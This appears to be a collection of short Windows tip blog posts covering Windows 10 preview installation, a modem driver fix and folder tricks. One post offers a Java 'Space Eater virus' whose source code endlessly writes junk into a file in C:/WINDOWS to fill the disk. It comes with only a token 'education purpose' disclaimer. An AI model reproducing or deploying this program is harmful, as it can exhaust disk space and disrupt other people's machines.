Activation Issue With Windows 10 Technical Preview for Enterprise
Problem:
I have installed Windows 10 technical preview,but activation is not accepted. Resolution:
You don’t need to activate the Technical Preview – it’s activated automatically.The product key provided by Microsoft for Windows 10 Technical Preview for Enterprise is PBHCJ-Q2NYD-2PX34-T2TD6-233PK which is required for recovery scenarios.
To fix the issue:
1.] Open Command Prompt with Administrative privileges.
2.] Type: SLUI 3
3.] Enter the product key PBHCJ-Q2NYD-2PX34-T2TD6-233PK
Hands-on with Windows 10: Installing the Windows Technical Preview
Summary: Microsoft's first prerelease version of Windows 10 is now available as a public Technical Preview. Here's what you need to know before you dive in.
Microsoft has released an early version of Windows 10 as a public beta. If you’re the adventurous sort, you can give the new OS a test drive and supply feedback that Microsoft promises to use in the development process as it drives toward a ship date sometime in mid-2015.
The Windows Technical Preview is unabashedly unfinished but definitely usable. Signature features of this release include a new Start menu that replaces the Windows 8-style Start screen, as well as the ability to run Windows Store apps in windows on the desktop and to organize apps into multiple desktops. Paradoxically, the revised interface, which was designed primarily to address the concerns of mouse-and-keyboard users who know and love Windows 7, is likely to annoy anyone who’s grown accustomed to the new navigation aids in Windows 8.1. (I'll explain how to fine-tune those settings in a follow-up post. Stay tuned.)
Although Microsoft has declared the code stable enough to release to the public, it definitely has rough edges. You will almost certainly run into bugs, and there’s a distinct chance that one of those bugs could cause you to lose data. I second Microsoft’s admonition that you do a complete backup before heading into the beta, and resist the temptation to use this version on a production machine
If you’ve installed Windows 7 or Windows 8.x, the installation steps should feel familiar. This is clearly an evolution of Windows and not a fresh start. How do I get started?
Visit the Windows Insider Program page, click the Join Now button, and sign in with a Microsoft account.
Next, download the installation files, which are available in ISO format. You can select a 32-bit or 64-bit version in any of the following languages: English, English (UK), Chinese Simplified, or Portuguese (Brazil). Should I upgrade or do a clean install?
That’s up to you. The Technical Preview supports upgrades over Windows 7 Service Pack 1 or later as well as clean installs. To do a clean install, you will need to create bootable media from the ISO file. How do I create bootable media?
The best tool is the tried-and-true Windows 7 USB/DVD Download Tool. Don’t be misled by the name: It works just fine with the Windows Technical Preview. Download and install the utility and then follow the prompts to create a bootable USB flash drive or DVD. The USB drive must be at least 8GB in size (it will be erased and formatted as part of the process of creating bootable media, so make sure that it doesn’t contain any important files). Can I set up the Windows Technical Preview as part of a dual- or multi-boot installation?
Yes, the Windows Technical Preview will add itself to the boot menu if you install it on a system that already has a previous version of Windows installed. An important note: When you use a conventional installation, you must install the Technical Preview on a separate partition or physical drive; if you choose the same partition that contains an existing Windows version, you will lose access to that Windows installation. (Your files will be moved to the Windows.old folder.) Can I set up a dual-boot installation using a VHD file?
Yes. This technique has the distinct advantage of not requiring a separate partition, and the resulting installation can be removed by simply deleting the VHD file and removing the boot entry Using Msconfig. Follow the steps in this post: How to use a VHD to dual-boot Windows 8 on a Windows 7 PC. Can I install the Windows Technical Preview in a virtual machine?
Yes, as long as the virtualization software doesn’t complain. My test installation in a Hyper-V virtual machine is running smoothly. Do I need a product key?
The download page contains a product key, but you will not be asked to enter it, nor are you required to activate the Technical Preview. You'll see an Evaluation Version watermark on the desktop displaying the current build number. How do I send feedback to Microsoft?
You'll see occasional pop-up prompts that ask questions about your experience with the Technical Preview. You can click those tiles to send comments, or use the Windows Feedback button on the new Start menu. More questions? Ask away
. It's amazing that with some little logical concepts a Simple program can turn into a Virus. Here to show you how to create a Simlpe Space Eater Program using JAVA.
Warning:- This is for education purpose only. I'm not Responsible in case of any misuse . without much delay lets get started:
Open Notepad and type the following virus code:
import java.io.*; class Virus { public static void main(String ar[]) { try { FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true); while(true) { f.write("Programming Is Such A FUN !!!"); } } catch(FileNotFoundException e){} catch(IOException e){} } }
Save it as Virus.java
Now generate the byte code of program using Java Compiler.
When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)
Explanation: On execution this program will create a file called virus.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.
Windows 8.1 Allows Boot Straight to Desktop, How to Enable it (Update)
Microsoft has released a preview version of Windows 8.1 with new changes and features. A most remarkable change over Windows 8 is the new Start button, which not only helps to fill the gap between the two user interfaces, i.e. the Modern UI and the Desktop, but it also allows users to boot straight to the desktop.
Other notable features of Windows 8.1 are the revamped Windows Store, more live tile sizes, extra customization options, improved Modern UI app multitasking, new and updated apps like Internet Explorer 11, SkyDrive, etc.
As I said above, Microsoft restored the Start button in Windows 8.1. However, the new Start button is not feature a full menu with access to programs as we are all familiar with, instead it simply take you to the Start Screen, which might be a disappoint for many.
However, there is a good news for users with desktop PC and standard laptop. Windows 8.1 allows to boot straight to the desktop.
How to enable boot to desktop feature in Windows 8.1
- Go to desktop, right click on the taskbar and select properties from the options.
- Now, under Property windows, select the Navigation tab.
- Under navigation tab, you will see the option “When I sign in or close all apps on a screen, go to the desktop instead of Start”.
- Enable this feature, click Apply, and finally click OK to save the settings.
How to Connect Micromax MMX353G USB Modem in Window 8
How to Connect Micromax MMX353G USB Modem in Windows 8 : Anyone installed wndows 8 and not able to connect to internet using my Micromax MMX 353G USB 3G Modem .here is a solution for you. I can install its modem software in Windows 8, but the device software will not detect the USB dongle and displays “No device” even though the USB dongle is plugged in. Here is how to solve this issue.
How to Connect Micromax MMX353G USB Modem in Windows 8
First, install the latest device driver for Micromax MMX353G USB dongle. And Close the Micromax USB manger from desktop and exit the Micromax MMX353G USB dongle completely from system tray (right click and choose exit).
Then, go to C – Program Files – MMX353G USB Manager – Driver.
Locate the file “InstallDriver.exe” and run it. After installing the driver, restart your computer and open “MMX 353G USB Manager” from desktop.
Open Device manager (just start typing device manger from Windows 8 start screen), and expand “Others”. Uninstall all “USB modems” listed that has a question (?) mark.
If “Others” isn’t listed, expand “Port” and uninstall the following:
1. Device Application Interface.
2. Device Diagnostic Interface.
3. Device Pipe.
Now, right click device manger name and click “Scan for hardware changes”. Start the MMX 353G USB Manager. The software will detect the modem and now you are ready to connect.
To Make folder without name
Make a Newfolder on desktop or where ever you want.
Right click on this newly created folder and select Rename.
Erase the text showing "New Folder".
Now keep Pressing Alt (i.e alter key) and type 255. If you are on laptop then you need to enable... your Num Lock and type from the highlighted number keys not from those below function keys.
After that leave alt key and Press enter. Done you just created nameless folder.
If Windows feels a little too slow for convenience, you can perform a Refresh.
In the previous versions of Windows, you have to backup all of your files, device drivers, etc. before you can perform a fresh install.
It’s time-consuming and it’s tedious!
Now with Windows 8. You can perform a refresh without the need for backing up your data. First, go to 'Settings' and click the tab “Chang...e PC Settings”. Go to the “General” tab in the next window, and you should find the “Refresh Your PC Without Affecting Your Files” section.
Select “Get Started” and hit “Refresh”.
After a few minutes, your PC will restart and you now have a refresh and reinvigorated Windows 8!
